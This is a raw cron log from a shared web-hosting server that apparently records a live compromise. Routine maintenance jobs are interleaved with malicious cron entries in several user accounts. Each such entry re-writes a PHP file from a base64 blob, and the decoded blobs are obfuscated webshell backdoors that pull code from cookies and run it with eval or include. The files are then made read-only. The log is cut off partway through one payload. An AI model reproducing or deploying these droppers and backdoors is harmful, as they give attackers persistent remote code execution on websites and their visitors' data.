Mar  2 14:44:02 medusa CROND[28002]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:44:02 medusa CROND[28008]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:44:02 medusa CROND[28013]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:44:02 medusa CROND[28014]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:44:02 medusa CROND[28015]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:44:02 medusa CROND[28016]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:44:02 medusa CROND[28019]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:44:02 medusa CROND[28021]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:44:02 medusa CROND[28023]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 14:45:01 medusa CROND[9508]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 14:45:01 medusa CROND[9529]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 14:45:02 medusa CROND[9603]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 14:45:02 medusa CROND[9701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:45:02 medusa CROND[9843]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 14:45:02 medusa CROND[9852]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:45:02 medusa CROND[9853]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 14:45:02 medusa CROND[9855]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:45:02 medusa CROND[9859]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 14:45:02 medusa CROND[9849]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:45:02 medusa CROND[9847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:45:02 medusa CROND[9865]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:45:02 medusa CROND[9863]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:45:02 medusa CROND[9867]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 14:45:02 medusa CROND[9871]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:45:02 medusa CROND[9873]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:45:02 medusa CROND[9875]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:45:02 medusa CROND[9850]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 14:45:02 medusa CROND[9851]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 14:45:02 medusa CROND[9874]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 14:45:02 medusa CROND[9886]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:45:02 medusa CROND[9888]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 14:45:02 medusa CROND[9870]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 14:46:02 medusa CROND[31229]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:46:02 medusa CROND[31230]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:46:02 medusa CROND[31232]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:46:02 medusa CROND[31234]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogI